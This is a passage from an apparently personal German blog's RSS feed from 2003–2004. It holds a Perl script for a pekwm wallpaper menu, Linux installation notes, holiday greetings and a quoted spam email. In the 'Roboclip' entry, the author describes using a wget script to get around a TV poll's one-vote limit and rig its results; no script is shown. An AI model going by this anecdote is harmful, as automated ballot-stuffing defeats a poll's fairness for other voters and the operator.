  14647.        open(PKCONF, "&lt;$ENV{HOME}/.pekwm/start") or die "Can't open ~/.pekwm/start";
  14648.        my @file = &lt;PKCONF&gt;;
  14649.        close(PKCONF);
  14650.  
  14651.        my @file2 = ();
  14652.        my $set = '';
  14653.  
  14654.        foreach (@file) {
  14655.                s/^xsetbg -center ".*"/xsetbg -center "$wallpaper"/gi;
  14656.                push(@file2, $_);
  14657.                
  14658.                if(index($_, 'xsetbg -center') == 0) {
  14659.                        $set = $_;
  14660.                }
  14661.        };
  14662.        
  14663.        if($set eq "") {
  14664.                push(@file2, "xsetbg -center \"".$wallpaper."\"");
  14665.        }
  14666.        
  14667.        open(PKCONF, "&gt;$ENV{HOME}/.pekwm/start") or die "Can't write ~/.pekwm/start";
  14668.        print(PKCONF @file2);
  14669.        close(PKCONF);
  14670. } else {
  14671.  
  14672.        print("Dynamic {\n");
  14673.  
  14674.        for(my $i = 0; $i &lt; scalar(@ARGV); $i++) {
  14675.                my $dir = $ARGV[$i];
  14676.  
  14677.                opendir(DIR, "$dir") || die "Can't opendir $dir: $!";
  14678.                my @backgrounds = grep { (! /^\./) } readdir(DIR);
  14679.                closedir DIR;
  14680.  
  14681.                foreach my $x (@backgrounds) {
  14682.                        my $y = $x;
  14683.                        $y =~ s+.*/++g;
  14684.  
  14685.                        if(! -d "$dir/$x") {
  14686.                                $y =~ s/\.[^\.]*$//g;
  14687.                                $y =~ s/(_|-)[0-9]{3,4}(x[0-9]{3,4}|)//g;
  14688.                                $y =~ s/_/ /g;
  14689.                                $y =~ s/%20/ /g;
  14690.                                print("Entry = \"$y\" { Actions = \"Exec xsetbg -center \\\"$dir/$x\\\" &amp;&amp; $0 -set \\\"$dir/$x\\\" \" }\n");
  14691.                        } else {
  14692.                                print("Submenu = \"$y\" {\nEntry { Actions = \"Dynamic $0 \\\"$dir/$x\\\" \" }\n}");
  14693.                        }
  14694.                }
  14695.        }
  14696.  
  14697.        print("}\n");
  14698. }</pre>
  14699. ]]></content:encoded>
  14700.  </item>
  14701.  
  14702.  <item>
  14703.    <title>pekwm</title>
  14704.    <link>https://blog.x-way.org/Coding/2004/01/04/pekwm.html</link>
  14705.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323995</guid>
  14706.    <dc:creator>Andreas Jaggi</dc:creator>
  14707.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14708.    <pubDate>Sun, 04 Jan 2004 01:28:00 +0100</pubDate>
  14709.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  14710.    <description><![CDATA[Nachdem ich alle <a href="http://www.waterwave.ch/weblog/detail.php?id=323987"><b>Kandidaten</b></a> etwas getestet habe, bin ich bei <a href="https://www.pekwm.se/"><b>pekwm</b></a> hängengeblieben.<br><br>"pewkm ist ein kleiner, schneller, funktioneller und flexibler Windowmanager, der versucht nett (hübsch) zu sein während dem er klein bleibt."<br>So wird er in der Doku beschrieben. Er besitzt viele Features: so kann man zum Beispiel damit wie beim pwm mehrere Fenster zusammenfassen.<br>Das Rootmenü, welches auf die linke (!) Maustaste belegt ist, lässt sich sehr gut anpassen, da es möglich ist, die Menüeinträge dynamisch zu generieren. Dieses Feature ist ideal, um meine Wallpaper ins Menü einzubinden, ohne für jedes einen Eintrag schreiben zu müssen.<br>So ist ein kleines Perl-Skript entstanden, das als Parameter Verzeichnisse mit Bilddateien entgegennimmt, diese rekursiv durchsucht, die gefundenen Bilder ins Menü integriert (die Dateinamen werden noch etwas beschönigt) und ihnen mittels xsetbg eine Handlung anzufügt.
  14711. <br><br>
  14712. <pre>
  14713. #!/usr/bin/perl
  14714. #
  14715. # 2003 by x-way - http://waterwave.ch/weblog
  14716. #
  14717. # Add this to your menu, if you have pekwm's dynamic menu support:
  14718. #
  14719. # SubMenu = "Backgrounds" {
  14720. #   Entry { Actions = "Dynamic /path/to/this/file /path/to/your/wallpapers" }
  14721. # }
  14722. #
  14723.  
  14724. use warnings "all";
  14725. use strict;
  14726.  
  14727.  
  14728. print("Dynamic {\n");
  14729.  
  14730. for(my $i = 0; $i &lt; scalar(@ARGV); $i++) {
  14731.        my $dir = $ARGV[$i];
  14732.  
  14733.        opendir(DIR, "$dir") || die "Can't opendir $dir: $!";
  14734.        my @backgrounds = grep { (! /^\./) } readdir(DIR);
  14735.        closedir DIR;
  14736.  
  14737.        foreach my $x (@backgrounds) {
  14738.                my $y = $x;
  14739.                $y =~ s+.*/++g;
  14740.  
  14741.                if(! -d "$dir/$x") {
  14742.                        $y =~ s/\..*$//g;
  14743.                        $y =~ s/_[0-9]{3,4}x[0-9]{3,4}//g;
  14744.                        print("Entry = \"$y\" { Actions = \"Exec xsetbg -center $dir/$x \" }\n");
  14745.                } else {
  14746.                        print("Submenu = \"$y\" {\nEntry { Actions = \"Dynamic $0 $dir/$x\" }\n}");
  14747.                }
  14748.        }
  14749. }
  14750.  
  14751. print("}\n");
  14752. </pre>
  14753. ]]></description>
  14754.    <content:encoded><![CDATA[Nachdem ich alle <a href="http://www.waterwave.ch/weblog/detail.php?id=323987"><b>Kandidaten</b></a> etwas getestet habe, bin ich bei <a href="https://www.pekwm.se/"><b>pekwm</b></a> hängengeblieben.<br><br>"pewkm ist ein kleiner, schneller, funktioneller und flexibler Windowmanager, der versucht nett (hübsch) zu sein während dem er klein bleibt."<br>So wird er in der Doku beschrieben. Er besitzt viele Features: so kann man zum Beispiel damit wie beim pwm mehrere Fenster zusammenfassen.<br>Das Rootmenü, welches auf die linke (!) Maustaste belegt ist, lässt sich sehr gut anpassen, da es möglich ist, die Menüeinträge dynamisch zu generieren. Dieses Feature ist ideal, um meine Wallpaper ins Menü einzubinden, ohne für jedes einen Eintrag schreiben zu müssen.<br>So ist ein kleines Perl-Skript entstanden, das als Parameter Verzeichnisse mit Bilddateien entgegennimmt, diese rekursiv durchsucht, die gefundenen Bilder ins Menü integriert (die Dateinamen werden noch etwas beschönigt) und ihnen mittels xsetbg eine Handlung anzufügt.
  14755. <br><br>
  14756. <pre>
  14757. #!/usr/bin/perl
  14758. #
  14759. # 2003 by x-way - http://waterwave.ch/weblog
  14760. #
  14761. # Add this to your menu, if you have pekwm's dynamic menu support:
  14762. #
  14763. # SubMenu = "Backgrounds" {
  14764. #   Entry { Actions = "Dynamic /path/to/this/file /path/to/your/wallpapers" }
  14765. # }
  14766. #
  14767.  
  14768. use warnings "all";
  14769. use strict;
  14770.  
  14771.  
  14772. print("Dynamic {\n");
  14773.  
  14774. for(my $i = 0; $i &lt; scalar(@ARGV); $i++) {
  14775.        my $dir = $ARGV[$i];
  14776.  
  14777.        opendir(DIR, "$dir") || die "Can't opendir $dir: $!";
  14778.        my @backgrounds = grep { (! /^\./) } readdir(DIR);
  14779.        closedir DIR;
  14780.  
  14781.        foreach my $x (@backgrounds) {
  14782.                my $y = $x;
  14783.                $y =~ s+.*/++g;
  14784.  
  14785.                if(! -d "$dir/$x") {
  14786.                        $y =~ s/\..*$//g;
  14787.                        $y =~ s/_[0-9]{3,4}x[0-9]{3,4}//g;
  14788.                        print("Entry = \"$y\" { Actions = \"Exec xsetbg -center $dir/$x \" }\n");
  14789.                } else {
  14790.                        print("Submenu = \"$y\" {\nEntry { Actions = \"Dynamic $0 $dir/$x\" }\n}");
  14791.                }
  14792.        }
  14793. }
  14794.  
  14795. print("}\n");
  14796. </pre>
  14797. ]]></content:encoded>
  14798.  </item>
  14799.  
  14800.  <item>
  14801.    <title>Roboclip</title>
  14802.    <link>https://blog.x-way.org/Misc/2004/01/02/Roboclip.html</link>
  14803.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323994</guid>
  14804.    <dc:creator>Andreas Jaggi</dc:creator>
  14805.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14806.    <pubDate>Fri, 02 Jan 2004 16:17:00 +0100</pubDate>
  14807.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14808.    <description><![CDATA[Ich hab heut Nachmittag kurz durchs Fernsehprogramm gezappt. Dabei bin ich bei <a href="https://web.archive.org/web/20040203150451/http://www.roboclip.sfdrs.ch/"><b>Roboclip</b></a> hängen geblieben. Das ist eine automatisierte Sendung, welche Musikvideos abspielt. Für das abzuspielende Musikvideo kann man per Telefon, SMS oder Internet stimmen. Das hat mich als Internet-Junkie natürlich interessiert und ich musste das ausprobieren. Leider kann man für ein Musikvideo nur einmal stimmen, aber um die einigermassen hörbaren Musikvideos abspielen zu lassen braucht es so rund 100 Stimmen. Die Stimmenregistrierung erfolgt mit einem PHP-Script, das Cookies verwendet. Da ich eine Veranlagung zum Experimentieren habe, hats nicht lange gedauert und ich habe nun ein kleines Shell-Skript, das mittels wget das Stimmen für ein Musikvideo automatisiert.<br><br>So ist es nun gekommen, dass "Apocalyptica Feat. Nina Hagen - Seemann" und "Metallica - Frantic", welche fast keine Stimmen hatten, plötzlich gerade nacheinander abgespielt wurden ;-) Danach war leider die Sendezeit von Roboclip zuende :-)
  14809. ]]></description>
  14810.    <content:encoded><![CDATA[Ich hab heut Nachmittag kurz durchs Fernsehprogramm gezappt. Dabei bin ich bei <a href="https://web.archive.org/web/20040203150451/http://www.roboclip.sfdrs.ch/"><b>Roboclip</b></a> hängen geblieben. Das ist eine automatisierte Sendung, welche Musikvideos abspielt. Für das abzuspielende Musikvideo kann man per Telefon, SMS oder Internet stimmen. Das hat mich als Internet-Junkie natürlich interessiert und ich musste das ausprobieren. Leider kann man für ein Musikvideo nur einmal stimmen, aber um die einigermassen hörbaren Musikvideos abspielen zu lassen braucht es so rund 100 Stimmen. Die Stimmenregistrierung erfolgt mit einem PHP-Script, das Cookies verwendet. Da ich eine Veranlagung zum Experimentieren habe, hats nicht lange gedauert und ich habe nun ein kleines Shell-Skript, das mittels wget das Stimmen für ein Musikvideo automatisiert.<br><br>So ist es nun gekommen, dass "Apocalyptica Feat. Nina Hagen - Seemann" und "Metallica - Frantic", welche fast keine Stimmen hatten, plötzlich gerade nacheinander abgespielt wurden ;-) Danach war leider die Sendezeit von Roboclip zuende :-)
  14811. ]]></content:encoded>
  14812.  </item>
  14813.  
  14814.  <item>
  14815.    <title>Hallo 2004!</title>
  14816.    <link>https://blog.x-way.org/Misc/2004/01/01/Hallo_2004.html</link>
  14817.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323993</guid>
  14818.    <dc:creator>Andreas Jaggi</dc:creator>
  14819.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14820.    <pubDate>Thu, 01 Jan 2004 02:06:00 +0100</pubDate>
  14821.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14822.    <description><![CDATA[Dies ist die erste Spam-Mail dieses Jahres:<br><br>X-shadow
  14823. <p>Its really HERE!!Playfriends <br>
  14824.  is a new site to help you find someone in your area that is looking for the same thing you are,<br>
  14825.  with no strings attached; waiting for you to fulfill their needs and vice versus!!<br>
  14826.  Dont waste any more im=
  14827. e.Go Now.</p><br>
  14828. <p>Just tell them what u are looking for, and presto, your=
  14829. set up with exactly what u =
  14830. ordered, and<br>
  14831.  youll be what they want, someone to pleasure until your completely content, and then u can find<br>
  14832.  someone else to do the same. Just tell us what u want, and well find it..<br>
  14833.  Tired of bad dates?!?, <br>
  14834.  Meet someone in your area tonight. </p><br>
  14835. iecyxfxwth dtip vwlrhwesprcg
  14836. mpr zwtr
  14837. dwmmgkoods
  14838. o  mglnqooyujggg
  14839. g
  14840. ipzxvebhlv<br>
  14841. beamli xsokbczbglh ule
  14842. z  if  cvnjdxd
  14843. gygkee dx edk
  14844. ypt viid
  14845. ifn
  14846. pgilc henh<br>
  14847. glzqu ucqjumhpigbcuby
  14848. ada dvp
  14849. weyunvvi bhbstzjptzesowk
  14850. la<br>nv ajr
  14851. x gt   a  ufpl i  pvcrtaj qrsdo
  14852. ]]></description>
  14853.    <content:encoded><![CDATA[Dies ist die erste Spam-Mail dieses Jahres:<br><br>X-shadow
  14854. <p>Its really HERE!!Playfriends <br>
  14855.  is a new site to help you find someone in your area that is looking for the same thing you are,<br>
  14856.  with no strings attached; waiting for you to fulfill their needs and vice versus!!<br>
  14857.  Dont waste any more im=
  14858. e.Go Now.</p><br>
  14859. <p>Just tell them what u are looking for, and presto, your=
  14860. set up with exactly what u =
  14861. ordered, and<br>
  14862.  youll be what they want, someone to pleasure until your completely content, and then u can find<br>
  14863.  someone else to do the same. Just tell us what u want, and well find it..<br>
  14864.  Tired of bad dates?!?, <br>
  14865.  Meet someone in your area tonight. </p><br>
  14866. iecyxfxwth dtip vwlrhwesprcg
  14867. mpr zwtr
  14868. dwmmgkoods
  14869. o  mglnqooyujggg
  14870. g
  14871. ipzxvebhlv<br>
  14872. beamli xsokbczbglh ule
  14873. z  if  cvnjdxd
  14874. gygkee dx edk
  14875. ypt viid
  14876. ifn
  14877. pgilc henh<br>
  14878. glzqu ucqjumhpigbcuby
  14879. ada dvp
  14880. weyunvvi bhbstzjptzesowk
  14881. la<br>nv ajr
  14882. x gt   a  ufpl i  pvcrtaj qrsdo
  14883. ]]></content:encoded>
  14884.  </item>
  14885.  
  14886.  <item>
  14887.    <title>Mandrake</title>
  14888.    <link>https://blog.x-way.org/Linux/2003/12/30/Mandrake.html</link>
  14889.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323992</guid>
  14890.    <dc:creator>Andreas Jaggi</dc:creator>
  14891.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14892.    <pubDate>Tue, 30 Dec 2003 16:02:00 +0100</pubDate>
  14893.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  14894.    <description><![CDATA[Auf dem alten Pentium II meiner Eltern habe ich gestern <a href="https://web.archive.org/web/20031221090645/http://www.mandrake.com/"><b>Mandrake Linux 9.2</b></a> installiert.<br>Nun taucht plötzlich folgendes Problem auf: In X funktioniert die Maus nicht (/dev/psaux und /dev/mouse ist "busy") und das Netzwerk will auch nicht mehr. Wenn ich beim Booten das Starten des eth0-Interfaces überspringe, funktioniert die Maus, aber das Netzwerk will auch nach manuellem initialisieren nicht funktionieren.<br>Die Maus ist eine PS/2 Logitech, und die Netzwerkkarte eine ISA-3Com-3c509 (das entsprechende Kernelmodul lädt ohne Fehlermeldung oder ähnliches). Irgendwelche Ideen? Lösung?<br><br>Mandrake benutzt eine RPM-basierte Packetverwaltung. Defaultmässig sind dort nur die Pakete auffindbar, die auf der Installations-CD sind. Da ich aber nur die erste Installations-CD besitze, habe ich auf <a href="ftp://sunsite.cnlab-switch.ch/mirror/mandrake"><b>ftp://sunsite.cnlab-switch.ch/mirror/mandrake</b></a> ein bisschen rumgeschaut und die URLs und die hdlist.cz Dateien in die Mandrake-Paketverwaltung integriert, so dass ich Zugriff auf (alle?) Mandrake-Pakete habe. Jedoch habe ich auch dort einige Pakete nicht gefunden. So fehlen mir immernoch der Acrobat Reader und der Flashplayer etc. Weiss zufällugerweise jemand, wo ich diese finden kann?
  14895. ]]></description>
  14896.    <content:encoded><![CDATA[Auf dem alten Pentium II meiner Eltern habe ich gestern <a href="https://web.archive.org/web/20031221090645/http://www.mandrake.com/"><b>Mandrake Linux 9.2</b></a> installiert.<br>Nun taucht plötzlich folgendes Problem auf: In X funktioniert die Maus nicht (/dev/psaux und /dev/mouse ist "busy") und das Netzwerk will auch nicht mehr. Wenn ich beim Booten das Starten des eth0-Interfaces überspringe, funktioniert die Maus, aber das Netzwerk will auch nach manuellem initialisieren nicht funktionieren.<br>Die Maus ist eine PS/2 Logitech, und die Netzwerkkarte eine ISA-3Com-3c509 (das entsprechende Kernelmodul lädt ohne Fehlermeldung oder ähnliches). Irgendwelche Ideen? Lösung?<br><br>Mandrake benutzt eine RPM-basierte Packetverwaltung. Defaultmässig sind dort nur die Pakete auffindbar, die auf der Installations-CD sind. Da ich aber nur die erste Installations-CD besitze, habe ich auf <a href="ftp://sunsite.cnlab-switch.ch/mirror/mandrake"><b>ftp://sunsite.cnlab-switch.ch/mirror/mandrake</b></a> ein bisschen rumgeschaut und die URLs und die hdlist.cz Dateien in die Mandrake-Paketverwaltung integriert, so dass ich Zugriff auf (alle?) Mandrake-Pakete habe. Jedoch habe ich auch dort einige Pakete nicht gefunden. So fehlen mir immernoch der Acrobat Reader und der Flashplayer etc. Weiss zufällugerweise jemand, wo ich diese finden kann?
  14897. ]]></content:encoded>
  14898.  </item>
  14899.  
  14900.  <item>
  14901.    <title>SwissBlogs</title>
  14902.    <link>https://blog.x-way.org/Misc/2003/12/28/SwissBlogs.html</link>
  14903.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323991</guid>
  14904.    <dc:creator>Andreas Jaggi</dc:creator>
  14905.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14906.    <pubDate>Sun, 28 Dec 2003 01:00:00 +0100</pubDate>
  14907.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14908.    <description><![CDATA[<a href="https://web.archive.org/web/20031223044241/http://swissblogs.com/"><b>SwissBlogs.com</b></a> est une liste des weblogs suisses qui contient maintenant aussi mon weblog. ce truc est fondé par <a href="http://climbtothestars.org/"><b>Stephanie Booth</b></a>.
  14909. ]]></description>
  14910.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20031223044241/http://swissblogs.com/"><b>SwissBlogs.com</b></a> est une liste des weblogs suisses qui contient maintenant aussi mon weblog. ce truc est fondé par <a href="http://climbtothestars.org/"><b>Stephanie Booth</b></a>.
  14911. ]]></content:encoded>
  14912.  </item>
  14913.  
  14914.  <item>
  14915.    <title>46° 33' 18", 7° 22' 13"</title>
  14916.    <link>https://blog.x-way.org/Misc/2003/12/28/46_33_18_7_22_13.html</link>
  14917.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323990</guid>
  14918.    <dc:creator>Andreas Jaggi</dc:creator>
  14919.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14920.    <pubDate>Sun, 28 Dec 2003 00:30:00 +0100</pubDate>
  14921.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14922.    <description><![CDATA[Dank <a href="https://web.archive.org/web/20031222194816/http://www.maporama.com/"><b>Maporama</b></a> weiss ich nun ungefähr meine Koordinaten und habe mich nun auch bei <a href="https://web.archive.org/web/20031219133926/http://www.geourl.com/"><b>GeoURL</b></a> eingetragen.<br><br> <a href="https://web.archive.org/web/20060207013719/http://geourl.org/near/?p=http://waterwave.ch/weblog" title="check out my neighbors in meatspace (archive.org)">
  14923. <img alt="GeoURL" src="https://blog.x-way.org/images/geourl.png" width="52" height="14">
  14924. </a>
  14925. ]]></description>
  14926.    <content:encoded><![CDATA[Dank <a href="https://web.archive.org/web/20031222194816/http://www.maporama.com/"><b>Maporama</b></a> weiss ich nun ungefähr meine Koordinaten und habe mich nun auch bei <a href="https://web.archive.org/web/20031219133926/http://www.geourl.com/"><b>GeoURL</b></a> eingetragen.<br><br> <a href="https://web.archive.org/web/20060207013719/http://geourl.org/near/?p=http://waterwave.ch/weblog" title="check out my neighbors in meatspace (archive.org)">
  14927. <img alt="GeoURL" src="https://blog.x-way.org/images/geourl.png" width="52" height="14">
  14928. </a>
  14929. ]]></content:encoded>
  14930.  </item>
  14931.  
  14932.  <item>
  14933.    <title>Comme chaque année</title>
  14934.    <link>https://blog.x-way.org/Misc/2003/12/24/Comme_chaque_annee.html</link>
  14935.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323989</guid>
  14936.    <dc:creator>Andreas Jaggi</dc:creator>
  14937.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14938.    <pubDate>Wed, 24 Dec 2003 16:13:00 +0100</pubDate>
  14939.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14940.    <description><![CDATA[Bonnes fêtes
  14941. ]]></description>
  14942.    <content:encoded><![CDATA[Bonnes fêtes
  14943. ]]></content:encoded>
  14944.  </item>
  14945.  
  14946.  <item>
  14947.    <title>Alle Jahre wieder</title>
  14948.    <link>https://blog.x-way.org/Misc/2003/12/24/Alle_Jahre_wieder.html</link>
  14949.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323988</guid>
  14950.    <dc:creator>Andreas Jaggi</dc:creator>
  14951.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14952.    <pubDate>Wed, 24 Dec 2003 16:11:00 +0100</pubDate>
  14953.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14954.    <description><![CDATA[Schöne Feiertage allerseits
  14955. ]]></description>
  14956.    <content:encoded><![CDATA[Schöne Feiertage allerseits
  14957. ]]></content:encoded>
  14958.  </item>
  14959.  
  14960.  <item>
  14961.    <title>Linux on Mac</title>
  14962.    <link>https://blog.x-way.org/Linux/2003/12/23/Linux_on_Mac.html</link>
  14963.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323987</guid>
  14964.    <dc:creator>Andreas Jaggi</dc:creator>
  14965.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14966.    <pubDate>Tue, 23 Dec 2003 00:25:00 +0100</pubDate>
  14967.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  14968.    <description><![CDATA[Beim dritten Anlauf ist es endlich gelungen: Linux läuft mit X und Sound auf dem PowerBook :-)<br>Als Distribution dient wieder <a href="http://www.gentoo.org/"><b>Gentoo</b></a>. Dank dem 2.6er-Kernel funktioniert der Sound mit ALSA nach einem insmod out of the box. Als WindowManager kommt <a href="http://kahakai.sourceforge.net/"><b>Kahakai</b></a>, ein Blackbox/Fluxbox/Waimea-Clone zum Einsatz; <a href="http://www.enlightenment.org"><b>Enlightenment</b></a>, <a href="https://www.nongnu.org/ratpoison/"><b>ratpoison</b></a>, <a href="https://www.6809.org.uk/evilwm/"><b>evilwm</b></a>, <a href="https://web.archive.org/web/20031205042507/http://modeemi.cs.tut.fi/~tuomov/pwm/"><b>pwm</b></a> und <a href="https://www.pekwm.se/"><b>pekwm</b></a> will ich aber auch noch ausprobieren.<br><br>Leider ist der WLAN-Chip der Airport Extreme-Karte von Broadcom, welche ja bekanntlich keine Treiber für Linux haben. Auch der Erfolg des <a href="http://ndiswrapper.sourceforge.net/"><b>NdisWrapper</b></a> bringt mich nicht weiter, da zwar der gleiche Chip in der Karte steckt jedoch der NdisWrapper nur auf x86 funktioniert :-(<br>Mal schauen ob ich noch das SuperDrive zum brennen kriege...<br><br><a href="https://blog.x-way.org/images/AquaLinux.jpg"><b>Aqua on Linux</b></a>
  14969. ]]></description>
  14970.    <content:encoded><![CDATA[Beim dritten Anlauf ist es endlich gelungen: Linux läuft mit X und Sound auf dem PowerBook :-)<br>Als Distribution dient wieder <a href="http://www.gentoo.org/"><b>Gentoo</b></a>. Dank dem 2.6er-Kernel funktioniert der Sound mit ALSA nach einem insmod out of the box. Als WindowManager kommt <a href="http://kahakai.sourceforge.net/"><b>Kahakai</b></a>, ein Blackbox/Fluxbox/Waimea-Clone zum Einsatz; <a href="http://www.enlightenment.org"><b>Enlightenment</b></a>, <a href="https://www.nongnu.org/ratpoison/"><b>ratpoison</b></a>, <a href="https://www.6809.org.uk/evilwm/"><b>evilwm</b></a>, <a href="https://web.archive.org/web/20031205042507/http://modeemi.cs.tut.fi/~tuomov/pwm/"><b>pwm</b></a> und <a href="https://www.pekwm.se/"><b>pekwm</b></a> will ich aber auch noch ausprobieren.<br><br>Leider ist der WLAN-Chip der Airport Extreme-Karte von Broadcom, welche ja bekanntlich keine Treiber für Linux haben. Auch der Erfolg des <a href="http://ndiswrapper.sourceforge.net/"><b>NdisWrapper</b></a> bringt mich nicht weiter, da zwar der gleiche Chip in der Karte steckt jedoch der NdisWrapper nur auf x86 funktioniert :-(<br>Mal schauen ob ich noch das SuperDrive zum brennen kriege...<br><br><a href="https://blog.x-way.org/images/AquaLinux.jpg"><b>Aqua on Linux</b></a>
  14971. ]]></content:encoded>
  14972.  </item>
  14973.  
  14974.  <item>
  14975.    <title>Battlecry</title>
  14976.    <link>https://blog.x-way.org/Misc/2003/12/10/Battlecry.html</link>
  14977.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323986</guid>
  14978.    <dc:creator>Andreas Jaggi</dc:creator>
  14979.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14980.    <pubDate>Wed, 10 Dec 2003 08:15:00 +0100</pubDate>
  14981.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14982.    <description><![CDATA[<form action="http://bdmonkeys.net/~chaz/battle.php" method="get"><table style="text-align: center; width: 400px; border-spacing: 4px; border: 0"><tr><td style="background-color: black; text-align: center"><p style="color:red;font-family:'times new roman';font-size:16px;"><b>What Is Your Battle Cry?</b></p></td></tr><tr><td style="background-color: #ffbb77; text-align: center"><p style="margin:10px;font-family:'times new roman';font-size:16px;color:#000;"><span style="font-family: 'old english text mt','old english text'; font-size: 32px">P</span>rowling across the mini-mall parking lot, cutting down all who dare stand in the way using gilded boxing gloves, cometh <b>X-way</b>! And he gives a spectacular cry:</p><p style="margin:11px;font-family:'times new roman';font-size:18px;color:#000;"><b><i>"For the love of carnage and discord, I tear into the enemy until Satan himself emerges from the pit to thank me!"</i></b></p></td></tr><tr><td style="text-align: center; background-color: #aaaaaa"><p style="font-family:'times new roman';font-size:14px;color:#000;"><b>Find out!</b><br>Enter username: <input type="text" name="usrname" value="x-way"><br>Are you <input type="radio" name="sex" value="f">a girl, or <input type="radio" name="sex" value="m" checked="checked">a guy ?<br><input type="submit" value="Submit"></p></td></tr><tr><td style="background-color: black; text-align: center"><p style="color:red;font-family:'times new roman';font-size:12px;margin:0px;"><b>created by <a href="http://www.livejournal.com/users/beatings/"><span style="color: #cc00ff; font-family: 'times new roman'">beatings</span></a> </b>:<b> powered by <a href="http://www.bdmonkeys.net/"><span style="color: #cc00ff; font-family: 'times new roman'">monkeys</span></a></b></p></td></tr></table></form><br><br>Gefunden bei <a href="http://kniebes.com"><b>mk</b></a>
  14983. ]]></description>
  14984.    <content:encoded><![CDATA[<form action="http://bdmonkeys.net/~chaz/battle.php" method="get"><table style="text-align: center; width: 400px; border-spacing: 4px; border: 0"><tr><td style="background-color: black; text-align: center"><p style="color:red;font-family:'times new roman';font-size:16px;"><b>What Is Your Battle Cry?</b></p></td></tr><tr><td style="background-color: #ffbb77; text-align: center"><p style="margin:10px;font-family:'times new roman';font-size:16px;color:#000;"><span style="font-family: 'old english text mt','old english text'; font-size: 32px">P</span>rowling across the mini-mall parking lot, cutting down all who dare stand in the way using gilded boxing gloves, cometh <b>X-way</b>! And he gives a spectacular cry:</p><p style="margin:11px;font-family:'times new roman';font-size:18px;color:#000;"><b><i>"For the love of carnage and discord, I tear into the enemy until Satan himself emerges from the pit to thank me!"</i></b></p></td></tr><tr><td style="text-align: center; background-color: #aaaaaa"><p style="font-family:'times new roman';font-size:14px;color:#000;"><b>Find out!</b><br>Enter username: <input type="text" name="usrname" value="x-way"><br>Are you <input type="radio" name="sex" value="f">a girl, or <input type="radio" name="sex" value="m" checked="checked">a guy ?<br><input type="submit" value="Submit"></p></td></tr><tr><td style="background-color: black; text-align: center"><p style="color:red;font-family:'times new roman';font-size:12px;margin:0px;"><b>created by <a href="http://www.livejournal.com/users/beatings/"><span style="color: #cc00ff; font-family: 'times new roman'">beatings</span></a> </b>:<b> powered by <a href="http://www.bdmonkeys.net/"><span style="color: #cc00ff; font-family: 'times new roman'">monkeys</span></a></b></p></td></tr></table></form><br><br>Gefunden bei <a href="http://kniebes.com"><b>mk</b></a>
  14985. ]]></content:encoded>
  14986.  </item>
  14987.  
  14988.  <item>
  14989.    <title>Photo vom Panther</title>
  14990.    <link>https://blog.x-way.org/Linux/2003/12/06/Photo_vom_Panther.html</link>
  14991.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323985</guid>
  14992.    <dc:creator>Andreas Jaggi</dc:creator>
  14993.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14994.    <pubDate>Sat, 06 Dec 2003 01:14:00 +0100</pubDate>
  14995.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  14996.    <description><![CDATA[Ein <a href="https://blog.x-way.org/images/Mac-OS-X-Screenshot.jpg"><b>hübsches Bildchen</b></a> von meinem neuen Gerät:<br><a href="http://claws.sylpheed.org/"><b>Sylpheed</b></a> läuft auf einem anderen Rechner (nuntia) und die <a href="http://xfree86.org/"><b>X11</b></a>-Ausgabe wird via <a href="http://openssh.org/"><b>SSH</b></a> zum X11 vom Mac umgeleitet. Davor das Terminal mit der SSH-Session und das Terminal vom Mac. Dahinter noch <a href="http://www.apple.com/safari/"><b>Safari</b></a>, der <a href="https://web.archive.org/web/20040803004115/http://devel-home.kde.org/~danimo/apidocs/khtml/html/"><b>KHTML</b></a>-basierte Browser von <a href="http://www.apple.com"><b>Apple</b></a>. Zuunterst das "berühmte" Dock.<br><br>Und nun startet der Installationsversuch Nummer 2 von Linux. Diesmal mit einer seperaten /boot-Partition und vermutlich auch gerade Kernel 2.6...
  14997. ]]></description>
